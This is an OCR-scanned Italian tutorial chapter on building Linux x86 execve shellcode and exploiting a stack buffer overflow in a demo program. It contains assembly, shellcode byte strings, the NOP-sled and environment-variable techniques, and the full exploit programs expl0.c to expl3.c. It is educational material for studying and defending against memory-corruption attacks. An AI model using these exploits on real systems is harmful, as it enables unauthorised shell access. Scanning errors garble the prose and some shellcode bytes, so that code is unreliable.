abbiamo aggiunto precedentemente non fanno pragicinmulla. In questo capitolo vedremo come sogiver
assembly qualcosa di piu tangibile: del codicelaheia una shell.

Shellcode secondo Aleph One

Come ottenere una shell in assembly? La rispostamplice: usando la systemcall exeavar( execve(2)). La
systemcall execve ha il seguente prototipo:

int execve(const char *filename, char *const afgeliar *const envp(]);

Come si puo leggere nel manuale di execve, esga@deprogramma puntato da filename che deve essebinario o
uno script di shell. Argv e Envp sono array dirgihie (array di array di char)devono essere terminati da una NULL
long word. L'identificativo univoco della sytemcakecve é 11.

Quindi per poter lanciare una shell in assemblybirno:

= avere una stringa contenente "/bin/sh" terminatardearattere NULL;
= avere l'indirizzo di stringa in memoria seguitowta NULL long word;
= avere nel registro EAX il valore 11;

= avere nel registro EBX l'indirizzo della stringa;

= avere nel registro ECX l'indirizzo dell'indirizzelth stringa;

= avere nel registro EDX l'indirizzo della NULL longprd.
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Figure 13: Contenuto dei registri per execve
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La Figura 13 mostra come potremmo allocare lo st&cka chiamata ad execve e dove i registri EBEXEd EDX

puntano.
In assembly potremmo chiamare la systemcall exeel’/eeguente modo:
.section .rodata
stringa:
.string "/bin/sh\0"
ext
.align 4
.globl main
type main,@function
main:

pushl %ebp

movl %esp,%ebp

subl $12,%esp

/I Prologo della funzione

movl $0,-4(%ebp)

/I NULL long word in %ebp-4

movl $stringa,-8(%ebp)

/l'indirizzo di stringa in %ebp-8
movl $stringa,%ebx

/I metto l'indirizzo di stringa in EBX
leal -8(%ebp),%ecx

/I metto l'indirizzo di %ebp-8 in ECX
leal -4(%ebp),%edx

/I metto l'indirizzo di %ebp-4 in EDX
movl $11,%eax

/I metto 11 in EAX

int $0x80

/I chiamo l'interrupt software

leave

ret

/I epilogo della funzione

Se lo compiliamo e lo eseguiamo otteniamo:

lain@Boban [~/Programming/c/esempi] gcc -Wall -g -ggdb shell.s
lain@Boban [~/Programming/c/esempi] ./a.out

sh-2.05b$

Se volessimo iniettare questo codice, come vistogentemente, aviemmo un grosso problema: norapuss
tradurre in codice macchina la parte di dichianagidella variabile stringa. Dobbiamo trovare unadetalternativo
per avere una variabile che contiene "/bin/stidlghiamo capire come reperire a runtime l'indiriazzui verra allocata.
Fortunatamente l'istruzione call ci puo aiutareli@mo come:

Se scriviamo:

Eéll pippo
.string "/bin/sh"

listruzione call salvera sullo stack SRET, essa imdirizzo di cio che succede call allintershel chiamante della
funzione pippo: tale valore & proprio l'indirizzondemoria che contiene la variabile stringa "/&lifi/ Recupereremo |l
valore di SRET eseguendo una pop e ponendo ilevaltbenuto all'interno del registro ESI che userenme general
purpoes.

Purtroppo anche .string "/bin/sh" verra traditteodice macchina, che noi non vogliamo esegquedi dobbiamo
riporre tale dichiarazione come ultima riga deltrmshellcode. Potremmo risolvere questo probleratiando
all'inizio del progamma una jump che salta alla claé chiama la funzione contenente le istruzi@enedeguire.

Traduciamo in assembly quanto detto:
jmp alla_call
pippo: _
pop %esi
/l ora abbiamo in ESI l'indirizzo di /bin/sh
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alla_call:

call pippo
.string "/bin/sh"

Ora che abbiamo capito il meccanismo /jmp/call/pbog ci permette di reperire a runtime l'indirizzadla stringa,
possiamo scrivere il resto della funzione che eséggystemcall execve:

jmp alla_call
funzione:

pop %esi

// in ESI indirizzo di /bin/sh

movl %esi,0x8(%esi)

// in ESI+8 indirizzo di /bin/sh

movb  $0x0,0x7(%esi)

/I mettiamo NULL al termine di /bin/sh --> /bin/sh\0O

movl $0x0,0xc(%esi)

/l'in ESI+12 NULL long word

movl $0xb,%eax

/I in EAX identificativo di execve (11)

movl %esi,%ebx

/l'in EBX indirizzo di /bin/sh

leal 0x8(%esi),%ecx

// in ECX indirizzo di ESI+8 --> indirizzo dell'indirizzo di /bin/sh

leal Oxc(%esi),%edx

/I in EDX indirizzo di ESI+12 --> indirizzo della NULL long word

int  $0x80

/I passiamo il testimone al kernel con interrupt software
alla_call:

call funzione

.string "/bin/sh"

Se compiliamo ed eseguiamo questo codice, essinarton una segmentation fault perche é automadie. Con
automodificante si intende che modifica il propgBat segment a runtime, essendo esso marcato fgai@ttiene
errore di violazione del segmento. Il nostro codinfatti scrive nelle locazioni di memoria adiadeaitindirizzo in ESI
che punta ad una locazione di memoria all'inteldekt segment. Per ovviare a questo problemaidotibinserire il
codice all'interno del data segment o dello statkseguirlo modificando SRET in modo che punti lltazione di
memoria che lo contiene.

Come visto in precedenza compiliamo il codice asdgm®m convertiamo gli opcode delle istruzioni
che ci interessano in esadecimale. Qui useremoetiodm piu veloce di quello illustrato
precedentemente: Riponiamo il sorgente in un gkembly:
lain@Boban [~/Programming/c/esempi] cat shellcode.s
.globl main
main:
jmp alla_call
funzione:
pop %esi
movl %esi,0x8(%esi)
movb  $0x0,0x7(%esi)
movl $0x0,0xc(%esi)
movl $0xb,%eax
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal Oxc(%esi),%edx
int  $0x80
alla_call:
call funzione
.string "/bin/sh"
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Compiliamolo:
lain@Boban [~/Programming/c/esempi] gcc -g -ggdb shellcode.s
lain@Boban [~/Programming/c/esempi]

Ora usiamo objdump per disassemblarlo (sara rifmsi@lo il blocco di istruzioni che ci interessa):
lain@Boban [~/Programming/c/esempi] objdump -d a.out

6%30483b4 <main>:

80483b4: eb le jmp 80483d4 <alla_call>
080483b6 <funzione>:

80483b6: 5e pop %esi

80483b7: 89 76 08 mov  %esi,0x8(%esi)
80483ba: c6 46 07 00 movb $0x0,0x7(%esi)
80483be: c7 46 0c 00 00 00 00 movl $0x0,0xc(%esi)
80483c5: b8 Ob 00 00 00 mov  $0xb,%eax
80483ca: 89 f3 mov  %esi,%ebx
80483cc: 8d 4e 08 lea 0x8(%esi),%ecx
80483cf: 8d 56 Oc lea Oxc(%esi),%edx
80483d2: cd 80 int  $0x80

080483d4 <alla_call>:
80483d4: e8 dd ff ff ff call 80483b6 <funzione>

80483d9: 2f das

80483da: 62 69 6e bound %ebp,0x6e(%ecx)

80483dd: 2f das

80483de: 73 68 jae 8048448 <_|O_stdin_used+0xc>

Come si puo notare la stringa "/bin/sh" & statdotta anch'essa in istruzioni assembly (8048%#838de). La seconda
colonna contiene gia gli opcode tradotti in esadaé. Mettiamoli all'interno di un array di chaut@indoci con uno
script in bash:

lain@Boban [~/Programming/c/esempi] objdump -d a.out | egrep -A 19 "~080483b4 <" |\

cut-f2 | egrep -v \< | egrep -v *$ | xargs --max-args=16 echo |\

sed s/' 'I"\x"/g | sed s/N"\x"/ | sed s/ | sed s/$/"™/

"\xeb\x1e\x5e\x89\x76\x08\xc6\x46\x07\x00\xc 7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xe8\xdd\xfiAxfAAxfAx2Ax62\x69\x6e\x2f\x 73\x68"

Ora siamo pronti per testarlo.

lain@Boban [~/Programming/c/esempi] cat test.c

char shellcode[]=

"\xeb\x1e\x5e\x89\x76\x08\xc6\x46\x07\x00\xc 7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xe8\xdd\xf\xfi\xf\x2f\x62\x69\x6e\x2f\x 73\x68";

int main(void)

inti,*PSRET;
[* dichiarazione delle variabili locali al main  */

PSRET=(&i)+2;
/* PSRET punta a SRET */

*PSRET=(int )shellcode;
/* Mettiamo in SRET l'indirizzo di shellcode */

}

lain@Boban [~/Programming/c/esempi] ./a.out
sh-2.05b$
Abbiamo ottenuto una shell.

Ora ci rimane l'ultimo problema da risolvere: lagg@r parte degli errori programmativi che produztuffer
overflow avvengono sulle stringhe tramite funzisimili alla strcpy. La funzione strcpy copia il denuto di una
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stringa all'interno di un'altra sino al raggiungimteedel carattere NULL. Affinché il nostro shelledossa funzionare
anche in questi casi dobbiamo trovare un modoqagiete i caratteri "00" da esso.

Osservando l'output di objdump si nota che le ztmi il cui opcode viene tradotto in esadecimala caratteri che
possono essere interpretati come NULL sono le se#gue

80483ba: c6 46 07 00 movb $0x0,0x7(%esi)

80483be: €7 46 0c 00 00 00 00 movl $0x0,0xc(%esi)

80483c5: b8 Ob 00 00 00 mov  $0xb,%eax

Sostituiamole in questo modo:
‘Istruzioni problematich#: Sostituire cod
‘movb $0x0,0x7(%esi) H xorl %eax,%ea}
‘ H movb %eax,Ox?(%e#)
‘movl $0x0,0xc(%oesi) H xorl %eax,%ea}
‘ H movl %eax,Oxc(%esﬁ
‘movl $0xb,%eax H movb $Oxb,%4

E' superfluo dire che fare I'operazione di xorlureregistro e se stesso ripone in esso tutti zeregistro AL non &
altro che la parte low del registro EAX.

Riscriviamo il codice con le opportune modifiche:
lain@Boban [~/Programming/c/esempi] cat shellcode.s
.globl main
main:

jmp alla_call
funzione:

pop %esi

movl %esi,0x8(%esi)

xorl %eax,%eax

movb %eax,0x7(%esi)

movl %eax,0xc(%esi)

movb $0xb,%al

movl %esi,%ebx

leal 0x8(%esi),%ecx

leal Oxc(%esi),%edx

int  $0x80
alla_call:

call funzione

.string "/bin/sh"

Osserviamo l'output di objdump dopo la compilazione
lain@Boban [~/Programming/c/esempi] objdump -d a.out

6%30483b4 <main>:

80483b4: eb 18 jmp 80483ce <alla_call>
080483b6 <funzione>:

80483b6: 5e pop %esi

80483b7: 89 76 08 mov  %esi,0x8(%esi)
80483ba: 31c0 xor %eax,%eax
80483bc: 88 46 07 mov  %al,0x7(%esi)
80483bf: 89 46 Oc mov  %eax,0xc(%esi)
80483c2: b0 Ob mov  $0xb,%al
80483c4: 89 f3 mov  %esi,%ebx
80483c6: 8d 4e 08 lea 0x8(%esi),%ecx
80483c9: 8d 56 Oc lea Oxc(%esi),%edx
80483cc: cd 80 int  $0x80
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080483ce <alla_call>:
80483ce: e8 e3 ff ff ff call 80483b6 <funzione>

80483d3: 2f das

80483d4: 62 69 6e bound %ebp,0x6e(%ecx)

80483d7: 2f das

80483d8: 73 68 jae 8048442 <_|0_stdin_used+0x16>

Esso non contiene piu caratteri che si potrebb@sspretare come NULL.
Traduciamolo in un formato che possa essere rigabitaterno di un array di char:
lain@Boban [~/Programming/c/esempi] objdump -d a.out | egrep -A 20 "~080483b4 <" |\
cut -f2 | egrep -v \< | egrep -v *$ | xargs --max-args=16 echo |\

sed s/' 'I"\\x"/g | sed s/N"\x"/ | sed s/ | sed s/$/™/
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe 3\xfAxfAxffix2f"
"\x62\x69\x6e\x2f\x73\x68"

Ora testiamolo:

lain@Boban [~/Programming/c/esempi] cat test.c

char shellcode[]=
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe 3\xfAxfAxff\x2f"
"\X62\x69\x6e\x2f\x73\x68";

int main(void)

int i,*PSRET;

PSRET=(&i)+2;

*PSRET=(int )shellcode;
}

lain@Boban [~/Programming/c/esempi] ./a.out
sh-2.05b$

Abbiamo ottenuto anche questa volta I'effetto dersitd.

Shellcode moderni

Gli shellcode moderni non utilizzano la tecnicagadentemente vista per ottenere l'indirizzo di méache contiene
la stringa "/bin/sh", inoltre non sono automadifiti e hanno una dimensione notevolmente minepetto a quello di
Aleph One.

Vediamo come costruirne uno con queste caratihgstiragioniamo su come verra allocata la strifiga/sh". Essa
verra riposta in memoria nel seguente modo:

(indirizzo Y ) "\0''h,'s",'/'

(indirizzo Y -4)'n' i','b',"/'

Quindi se volessimo allocarla "manualmente” dovn® operare come segue:

push "\Ohs/"

push "nib/"

Cosi facendo avremo allocato un'area di memoriteoente la stringa che desideriamo.

Non possiamo pero effettuare un‘operazione delrgedebbiamo prima tradurre ogni singolo caratteriéa sua
rappresentazione esadecimale:

push $0x0068732f

push $0x6e69622f

Immaginiamo di effettuare le due istruzioni pusbqadentemente illustrate. Dove puntera lo stackt@oal loro
termine? Esso puntera proprio la locazione di méarwre contiene la stringa di cui vogliamo l'indao. Cio significa
che se all'interno del nostro codice assembly iserio:

push $0x0068732f
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push $0x6e69622f
movl %esp,%esi
nel registro ESI avremo l'indirizzo di memoria aumtiene "/bin/sh".

Il nostro shellcode perd non deve contenere caratterpretabili come NULL, quindi dobbiamo trowaun modo per
eliminare "00" dal contenuto della prima push.

Lanciare "/bin/sh" oppure "/bin//sh" (notarellee slash dopo bin) & identico, ma con il secandha il privilegio di
poter riempire completamente due word di memorimaRe comunque il problema di dover terminareriaga. Se
prima di fare la push della stringa "/bin//sh¢diamo la push di un‘intera word di null abbiamasseeil carattere di fine
stringa esattamente dopo il suo termine:

xorl %eax,%eax <-- in $EAX word con tutti '0'

push %eax  <-- alloco NULL sullo stack

push $0x68732f2f

push $0x6e69622f

movl %esp,%esi

Non importa quanti caratteri NULL ci siano al tenmidella stringa, basta che ce ne sia almeno gliakri verranno
ignorati.

Scriviamo lo shellcode:
xorl %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f
movl %esp,%ebx
/l ora abbiamo in EBX l'indirizzo di "/bin//sh0000"
push %eax
push %ebx
/[ abbiamo allocato l'array di array di char
mov! %esp,%ecx
/I in ECX l'indirizzo del primo valore dell'array di array di char
mov! %ecx,%edx
/I copio EDX in ECX
movb $0xb,%al
/[l metto 11 in EAX
int $0x80
/I passo il testimone al kernel
Rispetto al precedente shellcode anziché passawatiatore ad envp come NULL, abbiamo riposto soékpuntatore
ad argv, per il nostro scopo non vi € alcuna diffiea. Questo codice assembly non & automodificenfiddti scrive
direttamente sullo stack anziche nelle celle di méandel text segment. Cio ci permette di potedegeiire
direttamente senza bisogno di dover modificare SRET
lain@Boban [~/Programming/c/perBoF] cat shellcode2.s
.globl main
main:
xorl %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov! %esp,%ebx
push %eax
push %ebx
mov! %esp,%ecx
mov! %ecx,%edx
movb $0xb,%al
int $0x80
lain@Boban [~/Programming/c/perBoF] gcc -g -ggdb shellcode2.s
lain@Boban [~/Programming/c/perBoF] ./a.out
sh-2.05b$

Traduciamo ugualmente i suoi opcode in esadecimalertiamoci che funzioni anche modificando SRET:
lain@Boban [~/Programming/c/perBoF] cat test.c

char shellcode[]=

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe 3\x50"
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"\x53\x89\xe1\x89\xca\xb0\x0Ob\xcd\x80";
int main(void)

int i,*PSRET;
PSRET=(&i)+2;
*PSRET=(int )shellcode;

lain@Boban [~/Programming/c/perBoF] ./a.out
sh-2.05b$

Anche in questo caso siamo riusciti a lanciarénabo desiderato. Possiamo notare quanto siaipaolp questo
secondo tipo di shellcode analizzato. Potremmortdiime ulteriormente la sua dimensione sostituetistouzione
"movl %ecx,%edx" con listruzione "cdq", che@se la stessa operazione ma ha dimensione minore.

Exploit stack buffer overflow

Il termine exploit significa sfruttare, nel nostraso sfrutteremo un buffer overflow per iniettanelice all'interno di un
programma vulnerabile.

Stack-based overflow approach

Esaminiamo il seguente programma:
vulnl.c:
void f(char *s)

{

char buffer[64];

printf("Indirizzo di buffer: 0x%x\n",buffer);
strcpy(buffer,s);

int main(int argc, char **argv)

{
if(argc>1) f(argv[1]);

Il contenuto di argv[1] viene copiato dalla funzéostrcpy in buffer. La variabile buffer & allocatdlo stack e ha
dimensione 64 byte. Se passiamo al programma tingapiu lunga di 64 byte, otteniamo:

lain@Boban [~/Programming/c/esempi] ./vulnl “for((i=0;i<100;i++)) do echo -n A; done’

Indirizzo di buffer: Oxbffff9ac

Segmentation fault

Avendo passato 100 lettere A come primo argomesit@rbgramma abbiamo provocato un buffer overflibepo
l'istruzione ret della funzione f il saved retuminter conterra il valore 0x41414141, che é la rapentazione ASCII di
4 lettere A, il programma non puo accedere a taladione di memoria. Se passiamo al programmattinga
contenente inizialmente lo shellcode seguito dditizzo della variabile buffer ripetuto 45 voltigpo 'esecuzione di
strcpy ci troveremo in una situazione come queltstmata in Figura 14. Il contenuto di SRET sarériti® con
l'indirizzo di buffer. Quando verra eseguita ligtione ret della funzione f, anziche ritornaretdahmante, si passera ad
eseguire il codice a partire dalla prima cella énmoria destinata a contenere buffer.
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High memory addresses

3
W,

indirizz. tuffer

®[(SRET) indirizz. tuffer

[SEE) indirizz. tuffer

indirizz. tuffer

shellcode Dimensione

shellcode buffer

- shellcode

i 1 =—— Low memory sddresses

Figure 14: Stack di vuln1 dopo buffer overflow

Per exploittare vulnl.c dobbiamo quindi scriverepuogramma che costruisce il primo argomento dagrasa vulnl
come mostrato in Figura 15.

SHELL CODE ib. | ik |ib [ib | ib|ib ik |ib |ib

— indirizzo della varisbile tufer (i.b.)
Figure 15: argv[1] da passare a vulnl

Come shellcode useremo quello che abbiamo ricgratmedentemente, inoltre sappiamo l'indirizzo dfdswisto che
viene stampato a video dal programma vulnerabile.

Scriviamo il nostro primo exploit:

ExplO.c:

#include <unistd.h>

#include <stdio.h>

#include <stdlib.h>

#define shellcode_size 25
#define BUFSIZE 76
#define program "./vuln1"

char shellcode[]=
"\x31\xcO\x50\x68\x2f\x2f\x 7 3\x68\x68\x2f\x6 2\x69\x6e\x89\xe 3\x50"
"\x53\x89\xe1\x89\xca\xb0\x0Ob\xcd\x80";

int main(int argc, char **argv)

{

int *addr,i,*ptr;

char primo_argomento[BUFSIZE];
char *argument[4];

if(argc>1) *addr=strtoul(argv[1],NULL,16);

else exit(-1);

[* converto il valore passato al programma ottenendo
l'indirizzo della variabile buffer del prg vulnerabile  */

printf("Uso l'indirizzo 0x%x\n",*addr);
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ptr=(int *)primo_argomento;
for(i=0;i<BUFSIZE-4;i=i+4) *(ptr++)=*addr;
/* riempio primo_argomento con l'indirizzo di buffer */

for(i=0;i<shellcode_size;i++) primo_argomento[i]=shellcodei];
* inserico all'inizio di primo_argomento lo shellcode */

primo_argomento[BUFSIZE-1]="0";
[* pongo il carattere di fine stringa al termine di
primo_argomento */

argument[0]=program;

argument[1]=primo_argomento;

argument[2]=NULL;

execvp(program,argument);

/* lancio il programma vulnerabile passandogli primo_argomento */

return O;

}

Expl0.c attende in input l'indirizzo di buffer, nipie la variabile "primo_argomento” con lo shadle e l'indirizzo
passatogli da linea di comando e successivameagrievulnl passandogli il primo argomento creatovariabile
"primo_argomento" ha dimensione maggiore risp@tovariabile buffer del programma vulnerabileirgli avverra un
buffer overflow che ci permettera di andare a sssnigere il valore di SRET.

Eseguiremo una volta explO passandogli un indirzasuale, vulnl stampera a video il reale indiridizbuffer.
Eseguiamo una seconda volta expl0 passandogiridrd di buffer, facendo questo otterremo unalshel

lain@Boban [~/Programming/c/esempi] ./explO Oxffffffff

Uso l'indirizzo Oxffffffff

Indirizzo di buffer: OxbffffObc

Segmentation fault

lain@Boban [~/Programming/c/esempi] ./expl0 Oxbffffobc

Uso l'indirizzo Oxbffffobc

Indirizzo di buffer: Oxbffff9bc

sh-2.05b$

In genere i programmi vulnerabili non stampanodeeil'indirizzo della variabile che straripa,
sappiamo solo che essa verra allocata sullo sksdsuno ci vieta di provare ad indovinare
I'indirizzo a cui verra allocata: possiamo suppaire esso si trovera nei pressi di un generico
valore dello stack pointer. Useremo quindi allintedel programma di exploit una funzione get_sp
che restituisce il suo stack pointer per averalarn'idi dove esso si possa trovare, a questo valore
aggiungeremo un numero casuale passato da lirmardindo finché non avremo indovinato
I'indirizzo preciso della variabile buffer in menr

expll.c:

#include <unistd.h>
#include <stdio.h>

#include <stdlib.h>

#define shellcode_size 25 // Dimensione dello shellcode
#define DIMENSIONE 76 // Dimensione di primo_argomento
#define program "./vuln1" // nome del prg da exploittare

char shellcode[]=

"\x31\xcO0\x50\x68\x2f\x2f\x 7 3\x68\x68\x2f\x6 2\x69\x6e\x89\xe 3\x50"
"\x53\x89\xe1\x89\xca\xb0\x0Ob\xcd\x80";
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int get_sp(void) {
__asm__("movl %esp,%eax");

int main(int argc, char **argv)

int *addr,offset,i,*ptr;
char primo_argomento[BUFSIZE];
char *argument[4];

if(argc>1)offset=atoi(argv[1]);
else offset=0;
[* converto in intero il primo argomento passato ad expll */

*addr=get_sp()+offset;
[* indirizzo = indirizzo di ESP + OFFSET passato come
parametro a expll */

printf("Uso l'indirizzo 0x%x\n",*addr);

ptr=(int *)primo_argomento;
for(i=0;i<DIMENSIONE-4;i=i+4) *(ptr++)=*addr;
[* riempio primo_argomento con indirizzo *

for(i=0;i<shellcode_size;i++) primo_argomento[i]=shellcodei];
/* metto lo shellcode all’ inizio di primo_argomento */

primo_argomento[DIMENSIONE-1]=0";
[* pongo il carattere di fine stringa a primo_argomento  */

argument[0]=program;

argument[1]=primo_argomento;

argument[2]=NULL;

execvp(program,argument);

/* lancio vulnl passando primo_argomento come argv[l] */

return O;

}

Ora proviamo a passare a linea di comando ad ebgiitalori casuali:

lain@Boban [~/Programming/c/esempi] ./expll 100
Uso l'indirizzo Oxbffffa50

Segmentation fault

lain@Boban [~/Programming/c/esempi] ./expll 200
Uso l'indirizzo Oxbffffab4

lllegal instruction

lain@Boban [~/Programming/c/esempi] ./expll 210
Uso l'indirizzo Oxbffffabe

lllegal instruction

lain@Boban [~/Programming/c/esempi] ./expll 250
Uso l'indirizzo Oxbffffae6

lllegal instruction

lain@Boban [~/Programming/c/esempi] ./expll 300
Uso l'indirizzo Oxbffffb18

Segmentation fault

lain@Boban [~/Programming/c/esempi] ./expll 400
Uso l'indirizzo Oxbffffb7c

Segmentation fault

lain@Boban [~/Programming/c/esempi] ./expll 410
Uso l'indirizzo Oxbffffb86

sh-2.05b$
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Dopo svariati tentativi siamo riusciti ad indoviadindirizzo della variabile buffer. Per trovargl pelocemente l'offset
potremmo affidarci ad uno script in bash:
for((i=0;i<2000;i++)) do echo "--> OFFSET $i"; ./expl1 $i; done

Usando il metodo illustrato precedentemente dobbianvare l'indirizzo preciso della prima
istruzione dello shellcode. Per incrementare léregsossibilita e facilitarci nella ricerca delfedt
possiamo riporre all'inizio della variabile "primargomento” una serie di NOP, come mostrato in
Figura 16.

QR | 1S | 10T | 11SP | 1roe SHELL CODE it | ibl|ib

indirizzo della variahile buffer (i b E——
Figure 16: argv[1] con NOP

Anche se SRET non punta esattamente alla locadiomemoria che contiene lo shellcode, esso potrpbbtare ad
una cella di memoria contenuta all'interno deliguemza di NOP preposta. L'istruzione NOP occuptiagsante un
byte, cio’ significa che se SRET ricade all'intedatia sequenza di NOP incontrera un'istruziongaatuindi la CPU
esegue le istruzioni NOP e successivamente locsiuk|

Riscriviamo I'exploit con questo accorgimento:

expl2.c

#include <unistd.h>

#include <stdio.h>

#include <stdlib.h>

#define shellcode_size 25
#define BUFSIZE 76
#define program "./vuln1"
#define NOP 0x90

char shellcode[]=

"\x31\xc0\x50\x68\x 2f\x 2f\x 73\x68\x68\x2f\x6 2\x69\x6e\x89\xe 3\x50"
"\x53\x89\xe 1\x89\xca\xb0\x0b\xcd\x80";

int get_sp(void) {
__asm__("movl %esp,%eax");

int main(int argc, char **argv)

int *addr,offset,i,*ptr;

char primo_argomento[BUFSIZE];
char *argument[4];

if(argc>1)offset=atoi(argv[1]);
else offset=0;

*addr=get_sp()+offset;
[* calcolo l'indirizzo */

printf("Uso l'indirizzo 0x%x\n",*addr);
ptr=(int *)primo_argomento;

for(i=0;i<BUFSIZE-4;i=i+4) *(ptr++)=*addr;
[* riempio primo_argomento con l'indirizzo di buffer
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nel programma vulnerabile */

for(i=0;i<(BUFSIZE/2);i++) primo_argomento[i]=NOP;
/* metto la sequenza di NOP all'inizio di primo_argomento */

for(i=0;i<shellcode_size;i++) primo_argomento[i+(BUFSIZE/2)]=shellcode[i];
/* dopo la sequenza di NOP metto lo shellcode */

primo_argomento[BUFSIZE-1]="0";
[* pongo il carattere di fine stringa */

argument[0]=program;

argument[1]=primo_argomento;

argument[2]=NULL;

execvp(program,argument);

/* lancio il programma vulnerabile passandogli
primo_argomento */

return O;

}

Proviamo expl2:

lain@Boban [~/Programming/c/esempi] ./expl2 400
Uso l'indirizzo Oxbffffb7c

Segmentation fault

lain@Boban [~/Programming/c/esempi] ./expl2 420
Uso l'indirizzo 0xbffffb90

sh-2.05b$ exit

lain@Boban [~/Programming/c/esempi] ./expl2 430
Uso l'indirizzo Oxbffffb9a

sh-2.05b$ exit

lain@Boban [~/Programming/c/esempi] ./expl2 440
Uso l'indirizzo Oxbffffba4

sh-2.05b$ exit

lain@Boban [~/Programming/c/esempi] ./expl2 445
Uso l'indirizzo Oxbffffba9

sh-2.05b$ exit

Come si puo vedere expl2 ha il vantaggio di funarercon diversi offset, ovvero quelli che fannadere SRET

allinterno della sequenza di NOP preposta alldicshaie.

Exact Offset approach

La figura 17 rappresenta le locazioni di memoria dl un binario ELF quando viene caricato in memdt "tetto"
fissato dall'indirizzo OXBFFFFFF seguito da 4 bytsti a NULL, il nome dell'eseguibile, le varialdiambiente e gli
argomenti passati al programma in ordine inverspetto a quello di immissione. Eseguendo un semphdcolo

possiamo determinare l'indirizzo di memoria inenira allocata l'ultima enviroment variable passdfagrogramma:

last_enviroment_address = OXBFFFFFFF -4 -(strlemgiam_name)+1) -strlen(env|n])

semplificando:
last_enviroment_address = OXxBFFFFFFA -strlen(pnogreame) -strlen(env[n])
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OxBEEFEEEEE
MULL w=——4 byte NULL
OxBEFFEFEFE
mnL .. .. .. | ==———Frogram name
.-"-".-: __.-_',.":
envln] ~=——varighili
d anbiente
env[n—1]
.-"-".-: _¢§
argv[n] =—— 3rgoment
passati
argv[n—1] al programma

Figure 17: Allocazione memoria alta ELF binary

Anziché passare lo shellcode come argomento aldsiée, lo passiamo come ultimo enviroment al pamgma
vulnerabile tramite la funzione exechegn execle(3)). Calcoliamo tramite la formula precedente l'iigdio a cui verra
allocato lo shellcode. Ora sovrascriviamo SRET lindirizzo dello shellcode ed attendiamo cherligione ret compia
il suo dovere.

Vediamo un esempio di codice che usa questa tednlwaffer overflow per exploittare il programmalwi.c:

expl3.c

#include <stdio.h>

#include <string.h>

#include <unistd.h>

#define shellcode_size 25
#define BUFSIZE 76
#define program "./vuln1"

char shellcode[]=
"\x31\xc0\x50\x68\x 2f\x 2f\x 73\x68\x68\x2f\x6 2\x69\x6e\x89\xe 3\x50"
"\x53\x89\xe 1\x89\xca\xb0\x0b\xcd\x80";

int main(void)

{

char *enviroment[2]={shellcode,NULL};
char primo_argomento[BUFSIZE];

int *ptr,addr,i;

ptr=(int *) primo_argomento;

addr= Oxbffffffa -shellcode_size -strlen(program);
printf("Uso l'indirizzo 0x%x\n",addr);

for(i=0;i<BUFSIZE;i=i+4) *(ptr++)=addr;
primo_argomento[BUFSIZE-1]="0";

execle(program,program,primo_argomento,NULL,enviroment);
return O;

}

Come si puo notare a differenza dei programmi instirecedenza non dobbiamo preoccuparci di detemmiun offset
per cui I'exploit possa funzionare. Inoltre medéagtiesta tecnica non dobbiamo preoccuparci chienkendione del
buffer che straripa sia almeno pari alla lunghed=dio shellcode piu 2 word. Tale lunghezza totalgecmette di
modificare il saved return address e di lanciare shrell.
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